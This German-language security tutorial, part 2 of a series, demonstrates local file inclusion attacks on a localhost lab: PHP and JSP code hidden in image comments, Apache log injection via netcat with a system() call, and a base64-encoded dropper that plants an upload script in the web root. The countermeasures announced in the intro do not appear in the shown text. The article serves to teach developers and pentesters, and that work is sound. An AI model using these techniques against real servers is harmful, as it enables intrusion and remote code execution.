File Inclusions: kleiner Programmierfehler, fatale Wirkung, Teil 2: Praxis

Nach den Grundlagen zu File Inclusion im ersten Teil der Artikelserie beleuchtet der abschließende zweite Teil die Methoden, die Angreifer zum Öffnen der Lücken verwenden, und zeigt anschließend Maßnahmen, eigene Anwendungen vor File Inclusion zu schützen.

Know-how  –  6 Kommentare

Softwareentwickler und Pentester sollten ein Verständnis für die allgemeinen Sicherheitslücken haben, die sich durch File Inclusions ergeben. Erstere lernen, wie sie Schwachstellen vermeiden können und Letztere bekommen ein Bild von den Angriffsmustern, die sich daraus ergeben.

Damit Angreifer auf den Server eines Opfers kommen, benötigen sie zunächst ein Einfallstor. Sie müssen in der Lage sein, Code in die Anwendung zu schleusen und danach auszuführen. Mögliche Wege sind Upload-Funktionen und Bilder. Sofern ein Upload-Formular nicht prüft, ob hochgeladene Dateien Code enthalten, lässt sich darüber Schadcode einbringen, wenn auf das gleiche Verzeichnis per URL zugegriffen werden kann.

Nur Bilder zum Hochladen zu erlauben, birgt dennoch eine Schwachstelle: Achtet der Server beim Bild-Upload zwar auf Magic Bytes, nicht jedoch auf die Endung des Dateinamens, führen sowohl PHP als auch JSP Kommentare innerhalb der Bytes von Bildern aus:

Zunächst erzeugen Angreifer dazu ein 1 x 1 Pixel großes Bild beispielsweise mit ImageMagick:

convert -size 1x1 xc:white white.png

Und geben schließlich folgenden Befehl für PHP ein:

convert white.png -set comment \ 
'<?php echo "RCE possible";?>' pic.php

Nach dem Hochladen läuft der Code mit

http://127.0.0.1:8883/lfi.php?page=uploads/pic.php.

In JSP sieht es ähnlich aus:

convert white.png -set comment \ 
'<\% out.println("RCE possible"); \%>' pic.jsp

Nach dem Hochladen folgt

http://127.0.0.1:8881/webapp/?help=pic.jsp
JSP führt den Code innerhalb der Bytes der Bilddatei aus (Abb. 10).

Neben dem üblichen Weg für LFI-Angriffe mit schreibendem Zugriff ist PHP in der Standardinstallation ohne Härtung noch für weitere Formen anfällig.

Log Injection

Da PHP auch den Code innerhalb von Textdateien ausführt, können Angreifer versuchen, eine Anfrage an den Server zu senden und danach über den Browser auf die Log-Ausgabe zugreifen und somit den Code innerhalb der Logs zu starten.

Sofern die Möglichkeit eines LFI mit lesendem Zugriff bekannt ist, können Angreifer nach dem Standardverzeichnis von Apache-Logs suchen – oder nach dem Verzeichnis der Logs innerhalb der allgemeinen Apache-Konfigurationsdatei.

Auf das Beispiel bezogen ergibt sich

/etc/apache2/sites-available/000-default.conf

und daraus

${APACHE_LOG_DIR}/access_combined.log

mit

/var/log/apache2/access_combined.log

Nun können Angreifer direkt den Server ansprechen und Inhalte in die Logs injizieren. Das HTTP-Protokoll benötigen sie dazu nicht, da es nur einen Log-Eintrag zu erzeugen gilt. Der Befehl muss komplett in einer Zeile stehen, da die Log-Erstellung zeilenweise stattfindet und der Befehl sonst abgeschnitten wird:

nc 127.0.0.1 8883
<?php system('uname -a');?>

Der Aufruf von http://127.0.0.1:8883/lfi.php?page=/var/log/apache2/access_combined.log führt den Code aus und zeigt die aktuelle Kernel-Version des Servers.

Fehlt ein Upload-Formular, aber der Server ermöglicht Log Injection, können Angreifer ein Skript über PHP erzeugen und in die URL einbinden. Damit ermöglichen sie ebenfalls das Hochladen von Dateien über den Browser. Um alles in eine Zeile zu packen, enkodieren sie den zu erstellende Code mit Base64.

Als Erstes bildet die Datei "toencode.php" den notwendigen Code:

<?php
if(isset($_POST['upload']))
{
if(move_uploaded_file($_FILES['file']['tmp_name'],
$_FILES['file']['name']))
echo '<p><b>Die Datei wurde erfolgreich hochgeladen.
<b></p>';
}
?>

<form action=""
enctype="multipart/form-data" method="post">
<input type="file" name="file">
<input type="submit" name="upload">
</form>

Der cat-Befehl erzeugt daraus einen Base64-String:

cat "toencode.php"|base64 

Netcat erledigt den Rest, und der Code ist danach in den Logs von Apache platziert. Ein Aufruf der Logs per URL zeigt an, dass ein "uploads/uploadscript.php" auf dem Webserver vorhanden ist, das sich zum Hochladen verwenden lässt:

nc 127.0.0.1 8883
<?php
fwrite(fopen('/var/www/html/uploads/uploadscript.php',
'w'),base64_decode('PD9wa...')); ?>